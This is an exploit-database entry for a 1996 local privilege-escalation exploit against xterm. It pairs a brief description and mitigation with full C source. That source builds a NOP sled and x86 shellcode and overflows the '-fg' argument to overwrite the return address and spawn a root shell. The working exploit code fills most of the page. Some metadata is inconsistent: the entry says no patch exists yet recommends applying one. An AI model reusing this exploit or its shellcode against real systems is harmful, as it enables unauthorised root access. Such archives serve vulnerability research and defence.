Buffer Overflow Exploit in XTerm

vendor:

XTerm

by:

Unknown

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: XTerm

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

1996

Buffer Overflow Exploit in XTerm

The code is an example of a buffer overflow exploit in the XTerm application. The exploit uses a shellcode to execute arbitrary commands with root privileges. The exploit takes advantage of a buffer overflow vulnerability in the xterm program to overwrite the return address and redirect the program execution to the shellcode.

Mitigation:

The vulnerability can be mitigated by applying the patch for the xterm program that fixes the buffer overflow issue. It is recommended to update to the latest version of xterm to prevent exploitation.

Source

Exploit-DB raw data:

#include 
#include 
#include 

#define DEFAULT_OFFSET          0
#define BUFFER_SIZE             1491

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

main(int argc, char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   char execshell[] = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2"
   "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0"
   "\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50"
"\xeb\x18"
   "\xe8\xd8\xff\xff\xff" "/bin/sh" "\x01\x01\x01\x01" "\x02\x02\x02\x02"
   "\x03\x03\x03\x03" "\x9a\x04\x04\x04\x04\x07\x04";

   int i, ofs=DEFAULT_OFFSET, bs=BUFFER_SIZE;

   if(argc>1)
        ofs=atoi(argv[1]);
   if(argc>2)
        bs=atoi(argv[2]);
   printf("Using offset of esp + %d (%x)\nBuffer size %d\n",
        ofs, get_esp()+ofs, bs);

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, bs-strlen(execshell));
   ptr += bs-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/X11R6/bin/xterm", "xterm", "-fg", buff, NULL);
}


// milw0rm.com [1996-08-24]